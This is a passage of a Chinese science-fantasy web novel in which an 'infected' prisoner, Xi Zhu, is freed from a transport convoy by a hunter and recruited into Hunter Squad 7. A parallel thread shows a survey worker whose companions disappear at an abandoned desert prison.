她没有下手术床,这里大概是自己唯一能够短暂停下来思考的地方。白央举起新的右手,挡在了手术灯前面,白光顺着指缝漏下来,一圈圈光圈在膨大,白色的,银色的.....
十分刺眼。
奚渚晃了神,将视线从银白色的手铐中抽回来,这东西不能长时间盯着看,太奇怪了。
根本不是普通的手铐,奚渚能感受到不仅仅是体力,而且自己的精神力和注意力都在慢慢流失。
看来这个手铐有大问题!
她被人立刻套上面罩,这待遇,简直和刑犯没有任何区别。
奚渚没有慌乱,她在感染区的时候就很想试一试了。
既然自己能够感应到感染物和苔粒子的存在与波动,那么是否可以感受到人类呢?
反正套上的面罩给自己提供了绝佳的条件,奚渚在面罩后闭上眼,开始寻觅脑海中某种轻微的波动。
她知道那种感觉,犹如吉他被轻轻拨弦,荡漾开余音一样,那种波动会一直在自己的大脑内存在。
一片安静,什么都没有。
奚渚想起了小黑所说的收获日任务,这句话在之前的感染区也被感染物提及过,当时自己并没有十分注意,但事后一想,莫不成这两件事情有关联?
——越来越有意思了。
奚渚轻轻呼气,她不知道这趟的传送的目的地是哪里,在自己现在能做的事情内,只有感知这一条奇怪技能值得深挖。
身后是硬邦邦的座椅,奚渚调整到了一个还算舒适的角度,静默地坐着。
在她看不见的正前方,几十只清扫枪,呈扇字排开,全部处于上膛的姿态,黑压压地对着她。
执勤者们没敢有丝毫的懈怠,他们浑身武装,死死盯着甲级感染者的一举一动。
对方的手铐是联盟特制的剥夺手套,戴上之后,感染者会在不知不觉中消散一切精神力。面罩是特有的屏蔽面罩,有了它,感染者不会发变任何异能。
正中-央的执勤者浑身冒冷汗,他紧攥着枪托。
面前的这头感染者是不折不扣的怪物。
对方的感染值甚至比那些A-级感染物都高!
他盯着头盔上不断激增的红色数字。
感染值:10000%。
奚渚在面罩后缓缓抬眸,“有东西来了。”
15.打劫
传送车猛地晃动了一下。
所有执勤者立刻分为内外队形,内-侧的依旧看着奚渚,而外侧的压低枪口,朝着车身外瞄准。
在无法判断出是什么东西弄出的动静之前,他们不会轻易停止任务。
奚渚没有任何动作,垂着头继续感应脑海里的波动。
来的不是感染物。
她十分确信,感染物的频率要更高,这样低频率的波动,只能说明来的是人类。
看来是有人拦路打劫啊。
只不过,究竟是谁?竟然敢直接拦下执勤军的护送队伍。
叮——!
神出鬼没的脑内小黑突然开口:【恭喜解锁初级技能——波长感应技能。】
【波长感应技能:宿主可通过脑内波长来判断目标为何物,此项技能有待开发,目前开发进度:10%。】
“小黑,你总是这么关键性地出现吗?”奚渚在脑海中问道。
【小黑出现,必有危险。】
“你还挺幽默的。”奚渚继续感应着,“这个技能如何提升至100%”
【宿主可通过同频协调进行持续加强此项技能,随着任务不断解决,各项技能也将持续提升。】
“所以接下来就是那个什么收获日任务了吗?”奚渚问道。
【收获日副本被迫中断,宿主需完成现有任务,才可以继续副本。】
奚渚感受着脑袋中的波长,对方距离这辆传送车已经很近了,看来这个人就是自己现在目前要完成的任务。
小黑再次提醒:【任务只要开始,绝对不得中断。一旦中断两秒,宿主将立刻感染死亡。】
奚渚琢磨着这句话,看来之后小黑会给自己各种各样的任务预报,同时只要自己完成了任务,就会开发出技能以及获得各种奖励,但她唯有一点奇怪的,那就是中断两秒这个说法。
是指自己的意识中断吗?
在常理情况下,意识中断或许代表着突然晕厥、昏迷等情况。但是在这种不正常的地下世界中,奚渚合理怀疑意识中断就代表着个体死亡。
只要确保自己不死就行了吧。
她感受着自己的身体,自己感染之后,这具身体特别精神,不仅体现在自己可以在感染区内的高强度运转,还体现在身体的恢复速度上,以及最重要的,自己似乎不觉得有任何困意。
照理说,按照这里的计时方式,自己从穿越而来到现在都没合过眼,大概最少都已经147个小时了。
这真的是人类能达到的身体素质吗?
奚渚没有再和小黑对话,她合理地怀疑自己感染后因为无症状,反而转变为了对身体的加强模式,比如强化身体和精神之类的。
“好事啊!”奚渚的脑子转了一个弯,“感染之后不仅没死,还加强了这幅弱身体,如果自己能够不断完成任务,或许还会有更多的技能出现。”
正当她再次精神漫游的时候。
面前一个执勤军发出了颤-抖的声音,“感染者!慢慢站起来!不要有任何动作!否则将立刻对你进行消杀!”
奚渚慢悠悠站起来,她倒要看看这些执勤军准备拿自己怎么办。
首先要判断自己面前的武器有多少,当然,这东西也是奚渚可以感应出来的。
只要聚精会神,任何物品乃至人类或者感染物,都可以用不同的波长进行区分,只不过现在自己的技能还不太熟练,因此只能感受到面前武器的波长会更加低频且凝固。
“是你做的吗?”执勤者开口问道。
奚渚如实回答,“我不知道发生了什么。”
执勤者似乎在考虑要不要把奚渚的头套摘下来,如果外面那个张牙舞爪的拦路人也是这个感染者的同伴怎么办?二人如果串通一气又该如何?
奚渚兀自站着,她赌执勤者一定会把自己的头套摘掉。
因为现在传送车外一定发生了与自己有关的事情。
一分钟过去,头套被摘了下来。
奚渚立刻就看到了传送车发生了什么。
整个车身的右侧被火消融瓦解,几个没躲过去的执勤者直接被粘在了高温断面上,和跟烤肉一样正在滋滋作响。
其中一个执勤者正戴着手套剥离着同伴的身体,没有收住劲儿,失手掀下来一层人皮。
“面前有三十把清扫枪。”奚渚不由得怀疑自己真的这么危险吗。
自己明明十分人畜无害啊!
传送车又猛地一震颤!
白央听到车外传来一句十分洪亮的女声:“此路是我开!本英雌名叫吉蒂琼!你们这些执勤者!快快给本英雌打开传送车!”
只见奚渚面前的一个男人不耐烦地敲了敲窗户,前面开车的执勤者立刻转身汇报着车外的情况,“一名。”
奚渚心道:“来人一名。”
只见执勤者军的队长一挥手,整个传送车就稳稳当当地停了下来,他指了十个队员,顺着断墙一侧下车,举起武器,似乎志在必得一样。
在队长还没来得及走远的瞬间,奚渚通过超强的感知能力听到了一个词,“猎人。”
没了队长的坐镇,车内的气氛明显紧张不少,尤其是奚渚现在是完全暴露在众人眼皮子下的模样,她一个个扫视着面前的执勤者,只看见他们在控制不住的后退。
奚渚突然想做一个实验。
她立刻站了起来。
面前的执勤者再次后退,咚一声,撞到了传送车的铁壁之上。
奚渚继续迈步。
她想知道这些人为什么这么害怕自己。
她紧紧盯着面前的一个执勤者,对方裹得十分严密,根本看不出任何五官。可是奚渚却可以清楚地感知到对方的眼睛正瞪得十分大,而且他的精神在高强度紧绷。奚渚继续施压,在脑海中轻轻拨动了一下对方紧绷的脑弦。
面前之人立刻跪倒。
奚渚瞪大了眼睛。
她顾不上周围重新压过来的枪口,自己只是在对方频率之上,轻轻弹了一下,这个队员就倒到地上后,随后波长直接消失。
这个人,死了。
周围二十几个执勤者在目睹了同伴的死亡后,立刻压过来,他们还记得自己的任务!
必须要在传送途中就将这个甲级感染者解决掉!
奚渚身后的一个执勤者想要将面罩重新套到她脸上,却立刻感受到一种被野兽死死盯着的感觉,一身鸡皮疙瘩泛起,他的心跳在不正常地剧烈跳动!
奚渚确定了自己这个离谱的能力!
而此刻脑海中叮一声:【波长感应技能:宿主可通过脑内波长来判断接近目标为何物,并可通过强制波动来绞杀目标物。目前开发进度:30%。】
这能力这么厉害吗?如果自己真的开发到100%岂不是无敌的状态。
但是自己该怎么开发呢?小黑只说在任务中可以不断开发。
奚渚一头雾水,抬头看向了面前战战兢兢的执勤者们。
要继续实验吗?但是自己现在的身份应该是什么甲级感染者吧,是不是不太好。
突然,她想到了另一种可行的方式,自己为何不能再次接触感染物呢,拿感染物做实验来直接增长技能。
在奚渚思考的瞬间,传送车开始剧烈震动。
这绝不是什么车外的友好交流了吧,很明显已经上升成了武器硬碰硬!
队长满身狼狈地上了车,奚渚立刻注意到这家伙竟然断了一只手臂。
而这只手臂的横切面竟然是密密麻麻的硅纤维血管!
“移植吗?”奚渚心中暗道,自己对这个世界太不了解了,必须找一个“本地人”好好了解一下。
她看向车外,执勤军的包围处,有一个人站着。
队长立刻抓起身边一个清扫者的武器,对准了门外,大声叱责,“不要再靠近这辆车!”
门外的女生声音洪亮,她哐一声就将那些收缴的武器扔到了车门口,毫不在意车里的人。
队长啧一声,暗骂道:“为什么碰着了这些猎人!”
他立刻使了一个眼色,对着身旁一个执勤者飞快吩咐道:“联系10区!为什么猎人会出现在这里!还有啊!必须说明是她先挑衅的!对方手里有着最高的执法权,不解释清楚死的就是咱们!”
奚渚立刻获得重
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要信息,“猎人是归10区管辖,那是否可以说三军都是被10区统一管辖,那么整个下区的总部大概就是10区,而那天晚上出现在铁山里的一行人也是从10区来的,二者一定密不可分。”
“队长,她们说猎人7组不在10区管辖范围内。”
“什么!那谁管她们!”
执勤者飞速地划拉着,在一脸难以言喻中,说出了一个名字,“上区的伊文捷林长官。”
队长顿时语塞,“10区还说了什么吗?”
执勤者十分犹豫,踟躇不止,似乎这消息十分难以开口,“他们说...说7组现在已经完全独立,这是茵梵圣地的命令。”
队长立刻摔了手中的枪,“为什么圣地要把一个半死不活濒临解散的猎人7组单独择出去!而且为什么她们要阻拦传送车!”
“这个...10区已经挂断了。”
队长有火发不出,三军的总部均在10区,现在把7组摘出去,谁也不知道代表着什么意思!
如果7组再次复燃,必将导致执勤者的削弱,到时候,这么多年来执勤者建立起来的威严一定会大打折扣!
那些猎人,可没一个正常人!
“喂!你好了没!”车外之人嗵嗵嗵敲门。
奚渚倒是不在意这场戏要怎么演,她现在只想知道众人口中所说的7组是什么来头。
门外的女生不耐烦了,只听到她一声叹气,整个传送车就被猛地掀翻,而下一刻,传送车的铁门竟被直接徒手扒开了!
来人站在门口,穿着一身利落劲装,背上背着两把黑色锋利长刀,大喇喇地耷拉在身侧,她一扭头,就看到了被执勤者簇拥着的奚渚,她大声一笑,“Bin-Go!目标物确认!”
奚渚转过身,摆正神色与对方隔空对视,这个人的波长很强。
执勤者立刻围上来,“我们在执行传送任务,你知道这有多重要吧!你难道要违背联邦的法条吗?猎人!”
“你不是已经问过了吗,我们已经换人管了。”吉蒂琼揪了揪衣领,“虽然我也很不喜欢那个冰柜队长和假笑监视人。”
“你知道和执勤军对抗意味着什么吧。”队长再次驱逐道。
“你让她们那些老大说去吧!关我什么事儿!”吉蒂琼反驳道:“我知道你也是完成任务,同样的我也是在完成任务,所以,我给你们十秒钟,放开那个女孩,直接离开。”
队长在头盔下的脸已经狰狞到扭曲,她知道这些猎人的手段,更知道她们曾经为了清除目标不惜直接屠城,他紧攥拳头,听着吉蒂琼懒懒散散地开始倒数。
所有执勤者都看着自己!但是!但是...!
“撤退!”队长放声喊道,所有执勤者没有任何停顿,直接朝传送车外走去。
奚渚看着执勤者就这么毫不犹豫地走了,还没反应过来,吉蒂琼就立刻奔到了自己面前。
她伸出一只手来,十分紧张地对着奚渚打了声招呼,“你好。”
奚渚歪过脑袋,不理解对方为什么要救自己。
吉蒂琼立刻解释:“是伊文捷琳长官让我来的。”
奚渚暗自记下了这个多次出现的名字,但她仍旧没有开口,她不知道面前这个人会不会对自己有威胁,最重要的是,自己现在还戴着手铐。
吉蒂琼显然才看到,尴尬地把手伸了回去,“手铐目前还打不开,可能你还得戴一阵儿。”
“所以,救我的目的是什么呢?”奚渚问道。
吉蒂琼直言道:“伊文捷琳长官只说把你救出来,余下的她还会在联系我们。”
“你,是害怕我吗?”奚渚突然问道,她注意到吉蒂琼一直不敢跟自己对视。
吉蒂琼后退一小步,吞了一口口水,“没有...”
奚渚逼近,“但你很明显在害怕我。”
吉蒂琼抓了抓脑袋,也不再隐瞒,“因为队长说你十分危险,要特别注意!”
“队长?白央吗?”奚渚随口问道,因为吉蒂琼刚才提到了“冰柜队长”这一称呼。
吉蒂琼立刻点头,“同胞啊!看来咱们都是冰柜队长的‘受害者’啊!”
16.替补猎人
奚渚很随意地坐到了原位,她能感受到吉蒂琼没有恶意。
对方大概与奚渚建立了单方面的“受害者联盟”的关系。
吉蒂琼歪歪扭扭靠到了她身后的刀上。
奚渚注意到那两把黑刀正在不断变形,嵌进了墙内,似乎是直接与墙面融合在了一起。
“这是对方的能力吗?看起来像融合变形一类的技能。”奚渚不止一次听过7组的人都是些疯子。
如果伊文捷琳派吉蒂琼而来是为自己,那么是否可以说明7组的人都有各自独特的异能。
那么自己是否早就被伊文捷琳所注意到了。
但奚渚并没有开口问任何事情,因为自己现在仍旧估摸不准伊文捷琳是为了什么。
自己的能力?还是自己的姓名?
奚渚不相信任何人,对于她来说,她只相信自己亲眼看到的和通过具体分析所得出的结论。
在奚渚沉默的间隙,吉蒂琼一个人兴高采烈地解释,“我昨天还在16区解决感染物,突然就得到了伊文捷琳长官的信息,说什么必须要来17区救一个日后的同伴。
拜托,我已经连轴转了10天了!剥削下属也不能这么干吧!
但是,我自己又很好奇你这个新同伴,所以还是勉为其难地答应了。
和我搭档的另一个同伴就没有来了,因为她被伊文捷琳长官派到别的地方去了。
说起来,你也不爱说话啊!这个气氛我感觉好冷啊!”
奚渚看了吉蒂琼一眼,对方可不像是被强迫来的。
此刻的吉蒂琼睁着一双炯炯有神的眼睛,满脸好奇,就像一只雄壮的母狮一般紧紧打量着奚渚,似乎是要从奚渚的一举一动中判断出她能否作为自己日后的同伴。
“你是从16区来的?”奚渚转移了话题,被一位武力强大的女性死死盯着的感觉确实有点奇怪。
吉蒂琼挑挑眉,惊讶奚渚竟然没有问自己关于7组或是伊文捷琳的事情,而是问起了16区,她自然乐意解释,“16区嘛,已经完全沦陷了。”
奚渚很意外,小黑没有给自己透露过别的联区的消息,白央也一样从不解释多余的话。
难道17个联区中已经有部分区域脱离了人类的管辖,而处于感染物的统治了吗?
但自己又不能直接问,一旦开口询问,不就暴露出自己对联区什么都不了解的情况了吗,何况面前这些人还不是普通人,于是奚渚打算问问别的,“16区感染很严重?”
吉蒂琼简易回复:“惨不忍睹。”
对方没有说明的意思,奚渚也没办法再问,二人守着空空如也的传送车,突然沉默下来。
奚渚看向被对方一把掀开的铁门,外面的景色十分干枯,一望无际的沙土,当然还有刺眼的人造太阳,以及说不上来的奇怪仙人掌,这环境明显就是仿造地表世界的沙漠。
“有必要做到这么真实吗?”奚渚心中悱恻道,“这种没人的地方造这么真,是地下设计师的独特情怀吗?”
吉蒂琼顺着奚渚的视线望出去,冷不丁开口,“那些仙人掌还挺好吃的,是叫仙人掌吧,明明是脚的模样,为什么不叫仙人脚呢?”
“谁知道呢?”奚渚轻声道。
“有消息来了!”吉蒂琼立刻站起来,“是伊文捷琳长官的私人频道。”
奚渚没来由地有点紧张,但她仍然将所有情绪压到内心深处,先看看这个伊文捷琳准备干什么吧。
吉蒂琼摆弄了一下自己的耳后,随后一面巨大的光幕就出现在了二人面前。
画面中,只有一位身穿黑色西服的女性,她浅笑着,于是她脸上那道狰狞的伤疤便更加明显。
吉蒂琼视若无睹,她立刻对着伊文捷琳汇报道:“长官,我把那些执勤者弄走了,而且目标物毫发无损哦!”
伊文捷琳轻轻一笑,“琼,你真棒。”
吉蒂琼立刻点头,“我们接下来要去哪儿呢?我和这位新同伴!”
此话一出,伊文捷琳才把视线转移到奚渚身上。
奚渚抬起眼,和伊文捷琳无声对视,她有些好奇对方脸上的伤疤是怎么来的,而且最重要的是,奚渚本能地觉得伊文捷琳很危险,很危险。
“休息一晚吧,那边葵金已经去了,不用担心哦。”伊文捷琳缓缓开口。
吉蒂琼十分急迫,但仍然没敢打断伊文捷琳的话,等对方说完,她马上补充道:“葵金一个人会把那地方给直接引爆,我觉得我作为团队里唯一靠谱的队员还是早早过去比较好。”
伊文捷琳歪歪了头,“吉蒂琼,你是不想把亲手炸监狱这件事交给葵金吧,而变成你亲自动手吧。”
被拆穿的吉蒂琼顿时偃旗息鼓,“我想自己亲手炸了那些感染物!再说了,葵金的炸药时不时熄火,一点儿都不可靠,当然了,我指的只是炸药,葵金本人还是很可靠的。”
“你知道就好,葵金在监狱一定不会失手。你和奚渚休息一晚,明天再去。”伊文捷琳下达了强制命令。
奚渚听到自己的名字后才抬起头来,她的目光刚才就移到了手腕的手铐上。
“我会给吉蒂琼传输解码器,手铐待会儿就可以打开,奚渚先忍耐一会儿吧。还有,你们队长也正在前往17区。”
奚渚还没来得及说什么,身旁听到白央会来的吉蒂琼就立刻哀嚎起来,“队长不是去下区当什么清扫者去了嘛!怎么这么快就回来了!我还没有享受够自由啊!”
伊文捷琳眨了眨眼,没再管吉蒂琼,她的视线再次落到奚渚身上,语气中带着不易察觉的压迫,“你愿意吗?”
——难道不应该解释现在是什么情况吗?
奚渚没有任何理解障碍,十分轻松地就理解了伊文捷琳所说的是什么意思。
——愿意加入猎人7组吗?
“为什么是我?”奚渚问道。
伊文捷琳没有打任何马虎眼,“因为你很特别,我们称你这样的感染者为缺陷异化。7组向来只会收纳这些人,因为在我看来,缺陷反倒是另一种完美。而你,一定能给7组带来更大的惊喜。”
奚渚觉得这样的理由不太能说服自己。
“加入7组,你就不会被视为感染者,而这样的身份,足够你好好的活下去。”
奚渚看着伊文捷琳的双眼,对方的眼睛十分灰白,看起来眼睛受了重伤,奚渚开口再次确认,“你的意思是,我加入7组就代表着不用死。”
“不仅这样,你还能调查到你上窟出现意外的那天晚上所发生的一切。奚渚,你不好奇吗?那些人到底是谁?我很好奇呢。”伊文捷琳娓娓道来。
“我不仅能活着,还能无视联区权限去调查我那件事。那么,我要付出的代价呢?”奚渚问道。
“代价就是,你必须听从我的命令,去解决下区的感染物,而必要时刻,你需要充当联盟的门面,在上区进行感染物完全清除的宣传活动。”
吉蒂琼在一旁跃跃欲试,“我和奚渚去!我和奚渚去!我最喜欢去上区了!那里坏东西一个也没有,全是我没有见过的新奇玩意儿!”
“你愿意吗?奚渚。”伊文捷琳再次逼问。
“我不愿意。”
一旁的吉蒂琼表情微怔,她双手立刻拔刀,整个传送车被拦腰削断,两把黑色利刃横架到奚渚脖子上,在几秒内就完全换了一个人,“如果你不愿意,那么你就没有任何用处!”
“松开。我说过,武器绝不是用来威胁同伴的东西。”伊文捷琳呵斥道,她是真的没想到奚渚会不怕死的直接拒绝,“能给我一个你拒绝的理由吗?”
“如果想让我加入,我不会植入任何芯片。”
吉蒂琼立刻摸上了自己的耳后,那里有一个非常细小的植入口,存放着7组成员必须要植入的特别芯片,其目的不仅是为了约束她们这群能力者,更是为了如果发生意外情况,这枚芯片可以直接引爆成员,让她们当场死亡。
而这枚芯片,不仅连队长,甚至连伊文捷琳都没有拆除,奚渚提出这样的强制要求,无疑是对上区的挑衅。
而奚渚在赌,伊文捷琳能容许到自己什么程度。
当然这枚芯片自己绝不会植入,除了约束与控制外,奚渚总觉得这枚芯片没有这么简单。
如果能摆脱芯片的控制,同时拥有权限以及免除死刑,这样的选择对自己来说是目前最优的做法了。
但前提是,伊文捷琳答应。
“好,我答应你。”伊文捷琳认真
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道,“只要解决了这件事,你就愿意加入吗?”
奚渚点头。
“但是,我有一个要求,不植入芯片就无法成为正式队员,只会被划分到替补队员中,但权限不变。”
“可以。”
“这算是交换吗?奚渚。”伊文捷琳带着笑意道。
“等价交换不是吗,监管长官。”
伊文捷琳嗯了一句,看向吉蒂琼,“琼,对着新伙伴握手了吗?”
吉蒂琼变脸速度堪称一绝,完全没有了刚才剑拔弩张的架势,她挠挠头,“我学会人类的友好方式了!不要再拿对着混合体说话的语气对我开玩笑了!”
伊文捷琳莞尔一笑,她轻轻瞥了一眼奚渚,立刻捕捉到奚渚一秒间的惊讶。
奚渚看向吉蒂琼,立刻反应过来伊文捷琳是故意说给自己听的。
她想透露给自己,吉蒂琼不是人类。
而且最重要的是,伊文捷琳想表达,如果自己有异常举动,吉蒂琼则会不顾一切向自己动手。
***
光屏消散,伊文捷琳看向身后的白央,只见对方紧皱眉头,“真的能答应吗?这是绝对不会被允许的条件,难道你要为了奚渚对抗圣地吗?”
伊文捷琳摆摆手,“队长,不要那么紧张,他们会答应的。”
“你要去圣地?”白央并不赞成,每次伊文捷琳去一次,明显身上的伤就会更加严重,对方的状态根本不适合来回跑动。
伊文捷琳去意已决,她再次敲了一下轮椅,暗影中走出一位健硕的女人,她目不斜视,只关注轮椅上的人。
伊文捷琳对着一脸担忧的白央道:“奚渚不稳定,你要稳定住她。我此次去圣地,大概会消耗半个月,这段日子里,7组的一切权限由你负责,能做到吗?白央。”
白央坚定点头。
伊文捷琳再次调侃:“还有,不要对她们太冷淡了,她们很害怕你呢!”
“难道不是应该害怕你吗?伊文。”白央回怼一句。
伊文捷琳笑了笑,指向门外,对着身后的女人道:“古语,走吧。”
女人轻轻一推轮椅,整间屋立刻被黑暗笼罩,在二人离开的地方,黑影不断聚集,漩涡状的黑影飞速扭转,啪一声,二人直接不见踪影。
***
“敞篷”传送车内,奚渚戴着手铐,百无聊赖地看着不远处的吉蒂琼正在对着空气比划。
“你在干什么?”奚渚问道,因为对方真的太过活跃,奚渚想不注意都不行。
“对不起!”吉蒂琼大喊解释,“我不是真的要砍你的。”
“我知道,你只是想削了这个屋顶。”
吉蒂琼投来感激的目光,她听出来奚渚是故意给自己台阶下,“你放心吧,既然是同伴,我一定知无不言!”
“你不是人类?”奚渚问道。
“我是混合体,人类和人造人的混合体。”吉蒂琼直言不讳,“也就是上区为了强化人类个体而改变基因组,异变出来的混合人类。”
“7组的人都是混合体吗?”
“目前只有我一个混合体。因为混合体寿命很短,我们被创造出来只是为了人体实验。但我却从实验室偷跑了出来,犯下了联盟的重罪。但是伊文捷琳长官突然出现,说给我选择加入7组就可以不死,所以我就来了。”
奚渚躺到椅子上,天渐渐黑了,人造太阳在指定的西方汹汹下坠,整片余晖之下,被甩出去的传送门上依稀落着几只灰鸟,正在含糊地啄着被砸断的仙人掌,空旷的沙漠之中,只有二人有一搭没一搭的对话,吉蒂琼心不在焉地解释,奚渚却十分认真地听着。
人造太阳。
人造雨。
人造植物。
人造人。
那自己呢?
——究竟是什么?
奚渚呼出一口气,她双眼眯着,看向下坠中的太阳,在红光掩映之中,她再次启动脑内的感应本能。
一片浅浅荡漾的微波在脑子中流转着。
她开口问向已经昏昏欲睡的吉蒂琼,“下一站是监狱?几级感染物?”
对方猛地坐起,“蚀锈监狱,D级感染物,感染区范围扩散庞大,涉及17区30%土地。”
17.蚀锈监狱抓鬼(一)
蚀锈监狱,狱长室。
一位女性正背对衣柜,和什么人急切地通着电话,“7组的人还不来吗?这里真的太奇怪了!”
电话那头一阵沙沙的电流声,根本听不清对方在说什么。
女人费力地拿高通讯仪,试探着伸到窗口。
监狱在整个沙漠的最中心处,并且此地屏蔽了所有信号,女人费力地听着,“什么?有一个已经到了?可我谁都没有看到啊!她叫什么名字?”
女人立刻拿出一个笔记本开始写写画画,“葵金?我确定没有看到任何7组的人来到监狱。”
通讯仪那头声音模糊,继续说着什么。
通讯仪哔哔哔地响,在一阵尖锐的电流声后,沙哑的女声断断续续传来,“涂尔,监狱的感染区已经开始扩散,明天早上会有两位7组成员去监狱进行消杀。在这之前,务必不要让感染物找到你...”
涂尔紧握通讯仪,在一片滋滋响的电流声中点了点头,“我会保证自己的安全,绝不会让感染物抓到自己,我只希望你们能尽快来,我的同伴已经消失了。”
啪——!
通讯仪被迫挂断。
涂尔放下手中的通话仪,回忆起这个诡异事件发生的始终。
在一个礼拜前,她与两个同伴一起来到这座联盟的废弃监狱进行标记作业。
她们的任务是将感染探测仪埋到地底,这样的话,联区就可以通过感染探测仪得到一份详细的监测坐标,一旦探测仪产生警报,那么三军总部得到相应数据,就可以派人前往进行绞杀任务。
可是这项工作进展到一半,自己的同伴就消失了。
涂尔回忆起一天前的晚上。
***
那时这座监狱就已经十分不对劲。
但为了工作的高效完成,涂尔三人人并没有选择放弃,而且这份工作的工资很高,她们每个人都很需要这笔钱。
还有一点重要的是,这项工作其实算派遣工作,本身应该是执勤军的任务,但因为那些正式队员不想各地奔波辗转,于是这项任务便落到了涂尔几人身上。
如果探测仪埋得完全正确,下次这种工作就还会启用她们。
这样的工作机会,在下区来说十分珍贵。
涂尔那晚已经埋到了最后一个仪器,她把那个看起来像人脑一样的巨大探测仪抱起来,摆到监狱外侧的土梗上,土埂很硬,涂尔便拿铁锹用力怼进去,刚掀开一条缝儿,她就吓得把铁锹甩了出去。
周围两个同伴连忙扔下手中的工作,问道:“怎么了?涂尔!”
涂尔睁大眼睛,因为被废弃的地方的夜晚没有任何光源,所以她们三人点着三个简易照明灯。
此刻三个灯形成了一个诡异的大三角,将所有人笼罩其间,而在光源最暗的地方,涂尔指着那处道:“有东西在那儿。”
其中一个同伴立刻噤声,“你确定?”
涂尔在同伴怀疑且害怕的目光中点头表示肯定。
“这地方原本就是因为闹鬼才废弃的!所以那些执勤军才不愿意来!他们只给我们这些派遣员工几把铁锹,完全不说如果遇到意外情况该怎么办?”一个寸头女性大声道。
涂尔提起一角的照明灯,她死死盯着自己挖开的那一处缝隙,“芬恩,梅,今天的任务结束了,等天亮了我们再继续。”
叫芬恩的寸头女性点点头,“没错,不怕一万只怕万一,如果我们碰到了感染物什么的,趁现在还没有惊扰到它的时候,需要立刻向执勤军汇报。”
一旁的梅在二人说话的间隙捡起了铁锹,这是她们三人现在唯一的武器。
三点暗灯在黑暗中恍惚上行,通过监狱外门,锁好,再走近监狱铁门,吱呀死死紧闭。
“我们需要呆在一块儿,今天晚上绝不能分头行动。”涂尔指着一处休息监牢说道。
三人简单收拾了睡袋,共同挤到一间监狱房间中,芬恩自觉承担起放哨的职责,而一旁的涂尔和梅则开始拿起通信仪与总部的执勤军联系。
嘀嘀嘀嘀-嘀嘀嘀-嘀嘀。
“不行,无法联系,看来是被什么东西给干扰了。”涂尔叹了口气。
一旁的梅拿出地图,指向三人所在沙漠坐标中心处,这里是17区的边缘地带,再往北走,就到了整个沦陷的16区。
那里,已经被联盟彻底废弃,除了整个16区,包括监狱,联盟在这几百年中废弃过很多地方,这些地方都被清楚地标记在地图之上。
——这里是人类的禁-区,任何人不得轻易踏入。
“难道是感染物死灰复燃?”芬恩靠在门口道:“这些地区都是因为感染物的泛滥才被废弃的,猎人7组消灭了这些感染物,但是因为感染区无法短时间清退,所以这些地方就被划分为了禁-区。
我们这次来重新安装探测仪,大概也是上区害怕感染物再次卷土重来。”
涂尔点点头,“任务还需要完成,从明天开始一切小心,我们三个人绝不可以分开行动。”
梅收拾了地图,把三把铁锹摆在了三人手边,“有这东西总比没有强。”
照明灯整夜亮着,它们不需要任何燃料,听说是上区的天才科学家发明出来的,芬恩不禁感叹道:“上区的是什么样子呢?你说我们三个有机会去吗?”
涂尔抓了抓睡袋,“怎么可能,我们一辈子也去不了那种地方,等级啊等级!等级才是最重要的东西!芬恩。”
梅已经钻到了保温睡袋里,她露出一双眼睛,或许是暗夜气氛使然,她突然说了一句下区禁止讨论的话题,“他们说,上区没有感染。”
此话一出,三人顿时安静下来,立刻裹到睡袋之中,并排眺望监狱的天花板,照明灯将三人的影子拉得十分长,直接投射到了天花板上。
虽没有任何陌生人在场,但涂尔也依旧谨慎小心,像是女生间谈论小秘密一般,哈着气音道:“有人说,上区的人是故意把感染物驱逐到下区的。”
芬恩瞪大了眼睛,表情比刚才放哨时都认真严肃,“不会吧!拿我们当阻拦地吗?
不过话说回来,被废弃的地方似乎都在下区。
我决定,我一定要去上区看看这些传闻到底是不是真的!你们说执勤军会不会看在我们每次任务都完成优秀的情况下,给我们直接转正?”
“怎么可能?我们只是派遣员工。”梅接着道。
“或许我们能碰到白儒长官呢?她可是负责整个下区执勤军的大头目,没准儿她能特别提拔咱们呢!”芬恩越说越小声,连她自己都觉得这种希望十分渺茫。
梅看出了芬恩的失望,故意转换话题,“白儒长官和她亲妹妹白央的关系似乎不是很好。”
“似乎是因为那场战役。就是把猎人7组全灭的那场感染物战争,听说白儒长官的父母在那场战争中死了,之后二人的关系一落千丈,但具体的原因众说纷纭。”涂尔解释道,“休息吧,明天把剩下的感应仪全部埋好之后,我们立刻离开此地。”
监狱悄无声息,涂尔过了三小时后才闭上双眼。
电子表每一个小时响一次,响到不知道第几次的时候,涂尔突然被惊醒,她立刻坐起身,看向同伴的方向。
芬恩和梅消失不见了!
涂尔瞬间清醒,此时,绿色的光点突然从半空中-出现。涂尔一把
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将铁锹和背包拿到腿上,翻找出一个十分老旧的笔记本,她极速翻动,直到泛黄的某一页夹着一张旧报纸,报纸上刊登着一个紧急联系方式。
——猎人7组,欢迎您的感染物情报,及时上报,我们将绞杀一切危害人类的东西。
“自己不是感染物的对手,按照最坏的情况来说,想要救出芬恩和梅,也必须联系7组,只不过这么多年了,还联系的通吗?”涂尔摸到那串联系方式上。
不管怎么样,这都是最快救出自己同伴的方法。
涂尔掏出通讯仪,奇怪的是通讯仪竟然有了电波,看来是信号恢复了。
她快速输入,她听别人讲过,这一连串奇怪的符号叫做摩斯密码,是曾经地表人类使用过的加密方式。
嘀嘀嘀嘀-嘀嘀嘀-嘀嘀。
没有任何回应。
——果然是像传闻一样吗,7组被解散了吗?
涂尔站起身,看到了另外两把铁锹仍摆在一旁,那就说明芬恩和金被动消失的,她很了解二人,她们和自己一样,如果打算主动外出,那么就绝不会不携带任何武器。
唯一的情况只能是感染物在半夜出现,将她们被拽到了感染区中。
涂尔就着照明灯,环视着外面的监狱门,却看到了不远处一间房里正亮着一盏照明灯,那是梅的。
“您好,猎人7组。”
手中的通讯仪冷不丁开口,伴随着沙哑的电流声,涂尔握紧双手,一脸不可置信!
她立刻回应,“这里是17区北地边缘沙漠的蚀锈监狱,我叫涂尔,为执勤军外派人员,我们在这里遇到了可能是感染物出现的情况。因探测仪还未完全安装好,因此无法判定感染物具体在何处。”
“7组收到,已派猎人前往蚀锈监狱,目前成员位置处于16区,二十小时后即可赶到,在猎人未到达前,请您保护自身安全,不要与感染物有任何接触。”
通讯仪被-干扰,联系被迫中断。
涂尔立刻联系执勤军,将情况再一次重复汇报,随后得到了原地待命的要求。
她收拾好铁锹,朝着那扇亮着感应灯的门内走去。
***
涂尔回过神来。
自己已经在这间屋子里待了二十个小时。
7组说已经有猎人来了,但自己并没有感受到任何人出现。
涂尔将铁锹放到地上,观察起这座屋子的结构。
门外的门牌上挂着“狱长室”三字。
